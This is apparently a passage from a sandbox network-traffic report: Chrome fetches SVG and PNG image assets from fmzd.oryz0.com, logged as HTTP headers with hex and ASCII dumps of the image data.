2024-05-23 08:31:38 UTC	1369	IN	Data Raw: 32 37 31 34 38 20 33 31 2e 31 34 37 20 30 20 32 33 2e 39 37 36 32 20 30 5a 4d 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 43 31 34 2e 33 30 38 37 20 33 33 2e 39 39 38 37 20 31 38 2e 38 33 36 38 20 33 30 2e 38 39 38 31 20 32 34 2e 30 38 39 31 20 33 30 2e 38 39 38 31 43 32 39 2e 32 33 39 35 20 33 30 2e 38 39 38 31 20 33 33 2e 36 39 33 36 20 33 33 2e 38 37 39 37 20 33 35 2e 38 31 39 34 20 33 38 2e 32 31 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 Data Ascii: 27148 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.60
2024-05-23 08:31:38 UTC	1369	IN	Data Raw: 37 20 33 35 2e 38 31 39 34 20 33 38 2e 32 31 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 31 39 2e 35 39 38 38 20 34 34 2e 39 30 30 37 43 31 36 2e 34 38 37 36 20 34 32 2e 39 36 37 32 20 31 34 2e 30 38 34 32 20 34 30 2e 37 37 33 38 20 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 5a 4d 33 31 2e 37 33 35 32 20 31 32 2e 31 36 34 34 43 32 36 2e 35 37 33 36 20 31 31 2e 36 39 Data Ascii: 7 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14.0842 40.7738 12.2354 38.4694ZM31.7352 12.1644C26.5736 11.69
2024-05-23 08:31:38 UTC	1369	IN	Data Raw: 38 32 32 4c 32 36 2e 30 38 36 31 20 34 31 2e 34 38 32 34 4c 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 5a 4d 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 36 2e 30 38 34 20 34 31 2e 34 38 33 36 4c 32 36 2e 30 37 36 37 20 34 31 2e 34 38 38 31 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 5a 4d 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 4c 32 36 2e 30 37 34 36 20 34 31 2e 34 38 39 34 4c 32 36 2e 30 37 33 34 20 34 31 2e 34 39 30 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 5a 4d 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 37 2e 34 38 31 20 34 38 2e 32 39 34 31 4c 31 37 2e 34 38 32 36 20 34 38 2e 32 39 35 4c 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 5a 4d 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 32 31 2e 37 32 33 20 34 31 2e 35 Data Ascii: 822L26.0861 41.4824L28.1744 44.8939ZM28.1724 44.8952L26.084 41.4836L26.0767 41.4881L28.1724 44.8952ZM28.1703 44.8965L26.0746 41.4894L26.0734 41.4902L28.1703 44.8965ZM19.6031 44.9034L17.481 48.2941L17.4826 48.295L19.6031 44.9034ZM19.6009 44.902L21.723 41.5
2024-05-23 08:31:38 UTC	1369	IN	Data Raw: 33 31 2e 32 34 31 33 20 34 39 2e 39 30 35 43 34 34 2e 37 34 30 38 20 34 31 2e 36 34 33 20 34 37 2e 33 31 32 35 20 32 39 2e 31 34 30 37 20 34 37 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 33 39 2e 33 31 32 35 5a 4d 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 43 33 39 2e 33 31 32 35 20 32 31 2e 31 30 36 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 31 37 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 34 37 2e 33 31 32 35 43 34 37 2e 33 31 32 35 20 32 31 2e 30 39 38 32 20 34 37 2e 33 31 32 34 20 32 31 2e 30 36 37 36 20 34 37 2e 33 31 32 32 20 32 31 2e 30 33 37 4c 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 5a 4d 33 39 2e 33 31 32 35 20 32 30 2e 39 34 31 32 43 33 39 2e 33 31 32 35 20 32 30 2e 39 37 38 20 33 39 2e 33 31 32 34 20 32 31 2e 30 31 34 39 20 33 39 2e Data Ascii: 31.2413 49.905C44.7408 41.643 47.3125 29.1407 47.3125 21.1287H39.3125ZM39.3124 21.096C39.3125 21.1068 39.3125 21.1178 39.3125 21.1287H47.3125C47.3125 21.0982 47.3124 21.0676 47.3122 21.037L39.3124 21.096ZM39.3125 20.9412C39.3125 20.978 39.3124 21.0149 39.
2024-05-23 08:31:38 UTC	1231	IN	Data Raw: 20 34 38 2e 32 39 32 37 5a 4d 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 4c 31 37 2e 34 38 39 20 34 38 2e 32 39 39 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 32 31 2e 37 31 30 37 20 34 31 2e 35 30 33 37 4c 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 5a 4d 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 43 31 31 2e 32 35 34 31 20 34 33 2e 36 33 38 33 20 31 34 2e 30 30 31 31 20 34 36 2e 31 33 31 34 20 31 37 2e 34 38 37 34 20 34 38 2e 32 39 38 4c 32 31 2e 37 31 30 32 20 34 31 2e 35 30 33 33 43 31 38 2e 39 37 34 32 20 33 39 2e 38 30 33 20 31 36 2e 39 31 34 33 20 33 37 2e 39 30 39 33 20 31 35 2e 33 35 35 33 20 33 35 2e 39 36 36 33 4c 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 5a 4d 31 36 2e 35 37 32 38 20 31 36 2e 31 33 36 31 43 32 31 2e 34 39 38 34 20 Data Ascii: 48.2927ZM17.4868 48.2977L17.489 48.299L21.7129 41.505L21.7107 41.5037L17.4868 48.2977ZM9.11539 40.9726C11.2541 43.6383 14.0011 46.1314 17.4874 48.298L21.7102 41.5033C18.9742 39.803 16.9143 37.9093 15.3553 35.9663L9.11539 40.9726ZM16.5728 16.1361C21.4984
2024-05-23 08:31:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49810	172.67.195.241	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:37 UTC	1110	OUT	GET /yz5tdqOr50ejUSGpe1C7HeYWSLmn2C5mz2MZ6g4GFMMA90180 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
2024-05-23 08:31:38 UTC	664	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:38 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="yz5tdqOr50ejUSGpe1C7HeYWSLmn2C5mz2MZ6g4GFMMA90180" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ol%2BDHCagHdFa2I7%2B78R1GPe8hMoo4LXW1r3ZTlVCcBR6MXw%2BjqtcZjJFyN6Qhc6jq6RCDk%2BXuW6WBfIt%2B4vuQTWQQrQO8TO9inZTUs%2BxEpRzAvT%2F%2FTbVukJ%2F4XT3Kg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0d5eac27d0b-EWR
2024-05-23 08:31:38 UTC	705	IN	Data Raw: 62 35 39 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 30 2e 34 32 32 2c 32 39 2e 30 39 32 61 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 32 36 31 2c 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2e 37 34 39 71 2e 33 36 36 2e 33 36 36 2e 38 32 37 2e 37 37 35 74 2e 39 34 39 2e 38 35 Data Ascii: b59<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.85
2024-05-23 08:31:38 UTC	1369	IN	Data Raw: 32 2c 30 2c 30 2c 31 2c 36 2e 35 38 34 2c 32 32 2e 36 39 2c 31 33 2e 34 38 35 2c 31 33 2e 34 38 35 2c 30 2c 30 2c 31 2c 36 2c 31 38 2e 38 36 36 2c 39 2e 34 35 33 2c 39 2e 34 35 33 2c 30 2c 30 2c 31 2c 36 2e 32 33 35 2c 31 36 2e 36 61 36 2e 32 2c 36 2e 32 2c 30 2c 30 2c 31 2c 2e 37 2d 31 2e 37 30 37 2c 38 2e 38 34 38 2c 38 2e 38 34 38 2c 30 2c 30 2c 31 2c 31 2e 31 34 31 2d 31 2e 34 38 39 71 2e 36 37 39 2d 2e 37 32 33 2c 31 2e 35 38 35 2d 31 2e 36 31 31 61 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2d 2e 37 34 39 2c 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2d 2e 32 36 31 2c 33 2e 33 2c 33 2e 33 2c 30 2c 30 2c 31 2c 31 2e 36 38 31 2e 34 37 2c 38 2e 36 34 38 2c 38 2e 36 34 38 2c 30 2c 30 2c 31 2c 31 2e 35 Data Ascii: 2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.5
2024-05-23 08:31:38 UTC	838	IN	Data Raw: 2e 33 30 39 2d 38 2e 33 30 39 61 33 2e 35 32 2c 33 2e 35 32 2c 30 2c 30 2c 31 2d 2e 37 35 38 2d 31 2e 31 32 34 2c 33 2e 33 37 35 2c 33 2e 33 37 35 2c 30 2c 30 2c 31 2d 2e 32 37 2d 31 2e 33 33 33 2c 33 2e 30 36 32 2c 33 2e 30 36 32 2c 30 2c 30 2c 31 2c 2e 32 32 36 2d 31 2e 32 31 31 2c 34 2e 33 31 33 2c 34 2e 33 31 33 2c 30 2c 30 2c 31 2c 2e 35 36 36 2d 2e 39 36 37 2c 36 2e 33 36 34 2c 36 2e 33 36 34 2c 30 2c 30 2c 31 2c 2e 37 33 32 2d 2e 37 39 33 71 2e 33 39 32 2d 2e 33 35 37 2e 37 33 32 2d 2e 36 38 38 61 34 2e 36 37 38 2c 34 2e 36 37 38 2c 30 2c 30 2c 30 2c 2e 35 36 36 2d 2e 36 35 33 2c 31 2e 31 37 35 2c 31 2e 31 37 35 2c 30 2c 30 2c 30 2c 2e 32 32 36 2d 2e 36 38 38 2c 31 2e 33 33 39 2c 31 2e 33 33 39 2c 30 2c 30 2c 30 2d 2e 32 37 39 2d 2e 36 34 35 41 31 Data Ascii: .309-8.309a3.52,3.52,0,0,1-.758-1.124,3.375,3.375,0,0,1-.27-1.333,3.062,3.062,0,0,1,.226-1.211,4.313,4.313,0,0,1,.566-.967,6.364,6.364,0,0,1,.732-.793q.392-.357.732-.688a4.678,4.678,0,0,0,.566-.653,1.175,1.175,0,0,0,.226-.688,1.339,1.339,0,0,0-.279-.645A1
2024-05-23 08:31:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49811	172.67.195.241	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:37 UTC	1132	OUT	GET /opLn8R2bvalouDZIsfJC2D675VU6q0KINughjnNSWNC6RbcDybd9dzpVqjMkI49Tavcd200 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
2024-05-23 08:31:38 UTC	676	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:38 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="opLn8R2bvalouDZIsfJC2D675VU6q0KINughjnNSWNC6RbcDybd9dzpVqjMkI49Tavcd200" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a1T6o4UuzQ0DYfX4zprBDMn%2B71hSIVYROapm8VR4%2BJSbnot%2BBoPuIkzPRr96PhrThUwfu8w0noNh7JPqGH9GjXP2T6s5cYT4%2BOtL1vF0Jyo50n0zM5Feb4XtuERn8w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0d61b710f84-EWR
2024-05-23 08:31:38 UTC	275	IN	Data Raw: 31 30 63 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2c 33 32 48 33 38 56 31 38 2e 31 32 35 4c 32 34 2c 32 35 2e 31 30 39 2c 31 30 2c 31 38 2e 31 32 35 56 33 32 6d 2e 32 33 34 2d 31 36 4c 32 34 2c 32 32 2e 38 39 31 2c 33 37 2e 37 36 36 2c 31 36 48 31 30 2e 32 33 34 4d 34 30 2c 33 34 48 38 56 31 34 48 34 30 5a 22 20 66 69 6c 6c Data Ascii: 10c<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill
2024-05-23 08:31:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49813	172.67.195.241	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:38 UTC	1117	OUT	GET /ghlTMvE4b8h9VqD9PHj478Jq41suklef17SOWERHgie6efNydg212202 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
2024-05-23 08:31:39 UTC	650	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:39 GMT Content-Type: image/png Content-Length: 49602 Connection: close Content-Disposition: inline; filename="ghlTMvE4b8h9VqD9PHj478Jq41suklef17SOWERHgie6efNydg212202" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6ufPLB1NuK82y8BsjOlvRcvE3dt2vtXENH9yj6YsTRh0BHwOyCLq2SfeRnm%2FtK%2Bc0r2bO9TAUdsICu7bYjH4THjWHDuGj0Qk%2BA7iKpbs434Z8dquKW7oNxiYgy7mhg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0da5f3c8cd6-EWR
2024-05-23 08:31:39 UTC	719	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 08 70 00 00 01 bb 08 06 00 00 00 a1 7b f0 cd 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 3b b6 00 00 3b b6 01 16 33 14 2b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 98 5d 55 bd ff f1 f7 4c 1a 49 28 21 04 42 ef bd 08 4a bb 0a 52 94 aa 02 16 50 44 e1 7a 2d a8 28 a0 82 a2 34 51 01 f1 2a 4d 51 2e 20 0a 28 fa 13 45 45 04 41 50 3a ea 05 04 0d 08 48 49 a4 05 09 10 20 09 e9 c9 ef 8f 75 72 33 09 93 72 ce 59 fb 7c f7 de e7 fd 7a 9e ef 33 93 32 c9 67 d6 de 7b f6 cc 59 df bd 56 0f ea 36 c3 81 75 80 b5 80 55 80 95 80 51 8d 5a 19 58 1e 18 01 0c 06 96 6d d4 a0 c6 c7 0d ee e7 df Data Ascii: PNGIHDRp{sBIT\|dpHYs;;3+tEXtSoftwarewww.inkscape.org< IDATxw]ULI(!BJRPDz-(4Q*MQ. (EEAP:HI ur3rY\|z32g{YV6uUQZXm
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: 65 67 03 47 bc 81 c0 ee c0 81 c0 01 c0 e8 d8 38 b5 f5 08 69 02 fa 06 d2 8a 02 93 62 e3 a8 20 5b 00 7b 91 56 ae d9 15 18 16 1b a7 96 e6 90 56 e4 b8 12 f8 39 36 47 49 92 24 49 92 24 49 92 24 49 59 d8 c0 11 63 20 f0 16 52 d3 c6 bb 80 51 b1 71 ba ce 2c d2 f6 10 bf 05 ae 02 fe 19 1b 47 6d 18 0a ec 01 ec 0f bc 0d 58 3d 36 4e 57 ba 0b f8 05 a9 99 63 6c 70 16 49 92 24 49 92 24 49 92 24 49 5a 2a 9b 02 67 00 cf 02 73 ad d2 d4 63 c0 b9 a4 46 80 41 8b 3c 7a 2a 8b 51 c0 61 c0 15 c0 2b c4 9f 3f d6 fc ba 1b 38 1c 58 6e 91 47 4f 92 24 49 92 24 49 92 24 49 92 82 2c 4f 9a 6c be 81 b4 f5 40 f4 04 ab b5 f8 7a 1e b8 0c d8 8f b4 52 8a ca 61 24 e9 3a ba 1a 98 49 fc 79 62 2d be a6 92 1a 6c f6 c0 95 9e 24 49 92 24 49 92 24 49 92 24 05 db 88 b4 aa c3 24 e2 27 53 ad d6 6a 02 70 01 Data Ascii: egG8ib [{VV96GI$I$I$IYc RQq,GmX=6NWclpI$I$I$IZgscFA<zQa+?8XnGO$I$I$I,Ol@zRa$:Iyb-l$I$I$I$$'Sjp
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: 49 9d b3 1a f0 47 60 db e8 20 92 24 49 92 24 49 92 24 49 52 95 1b 1f 4e 03 8e 8f 0e 21 49 aa bc 97 80 3d 80 7b a2 83 48 92 24 49 92 24 49 92 24 a9 7b 55 75 05 8e af 60 f3 86 24 29 8f 11 c0 75 b8 9d 8a 24 49 92 24 49 92 24 49 92 02 55 71 05 8e 63 81 6f 46 87 90 24 d5 ce 04 60 77 e0 81 e8 20 92 24 49 92 24 49 92 24 49 ea 3e 55 6b e0 f8 2c 70 56 74 08 49 52 6d fd 9b d4 c4 f1 60 74 10 49 92 24 49 92 24 49 92 24 75 97 2a 35 70 1c 05 9c 1b 1d 42 92 54 7b 4f 03 bb 02 8f 45 07 91 24 49 92 24 49 92 24 49 52 f7 a8 4a 03 c7 11 c0 79 54 27 af 24 a9 da 9e 20 35 71 8c 0b ce 21 49 92 24 49 92 24 49 92 a4 2e 51 85 86 88 f7 00 57 00 bd d1 41 24 49 5d e5 31 e0 3f 80 e7 a3 83 48 92 24 49 92 24 49 92 24 a9 fe ca de c0 b1 23 70 13 30 34 3a 48 cd 4d 07 fe 45 7a e2 fc 59 e0 15 Data Ascii: IG` $I$I$IRN!I={H$I$I${Uu`$)u$I$I$IUqcoF$`w $I$I$I>Uk,pVtIRm`tI$I$I$u*5pBT{OE$I$I$IRJyT'$ 5q!I$I$I.QWA$I]1?H$I$I$#p04:HMEzY
2024-05-23 08:31:39 UTC	1369	IN	Data Raw: 24 49 92 24 49 92 24 49 92 8a f6 51 e2 27 d7 3a 59 37 00 6b 67 19 39 95 c5 bc 46 8e 7f 10 7f 7e d5 a9 66 00 97 01 9b 2c fd a1 50 45 bc 03 78 86 f8 73 ac 53 35 1e 18 99 65 e4 24 49 92 24 49 92 24 49 92 a4 82 ac 01 4c 24 7e 72 ad 13 35 13 38 06 57 dd a8 b3 5e e0 60 60 0c f1 e7 5b 95 6b 2a f0 5d d2 d6 4a aa af 55 81 9b 89 3f df 3a 55 97 66 19 35 49 92 24 49 92 24 49 92 24 a9 20 57 13 3f a9 d6 89 7a 16 d8 2d cf 90 a9 02 7a 81 f7 00 0f 12 7f ee 55 a9 66 00 df 03 56 6f 7e c8 55 51 03 81 33 89 3f f7 3a 55 fb e6 19 36 49 92 24 49 92 24 49 92 24 29 af 43 89 9f 4c eb 44 dd 85 2b 09 74 a3 cd 81 a7 89 3f ff aa 50 73 80 2b 80 8d 5a 1a 69 d5 c1 01 c0 4b c4 9f 8b 45 d7 d3 c0 88 4c 63 26 49 92 24 49 92 24 49 92 24 65 b1 22 30 81 f8 c9 b4 a2 eb bb c0 e0 4c 63 a6 ea d8 01 Data Ascii: $I$I$IQ':Y7kg9F~f,PExsS5e$I$I$IL$~r58W^``[k*]JU?:Uf5I$I$I$ W?z-zUfVo~UQ3?:U6I$I$I$)CLD+t?Ps+ZiKELc&I$I$I$e"0Lc
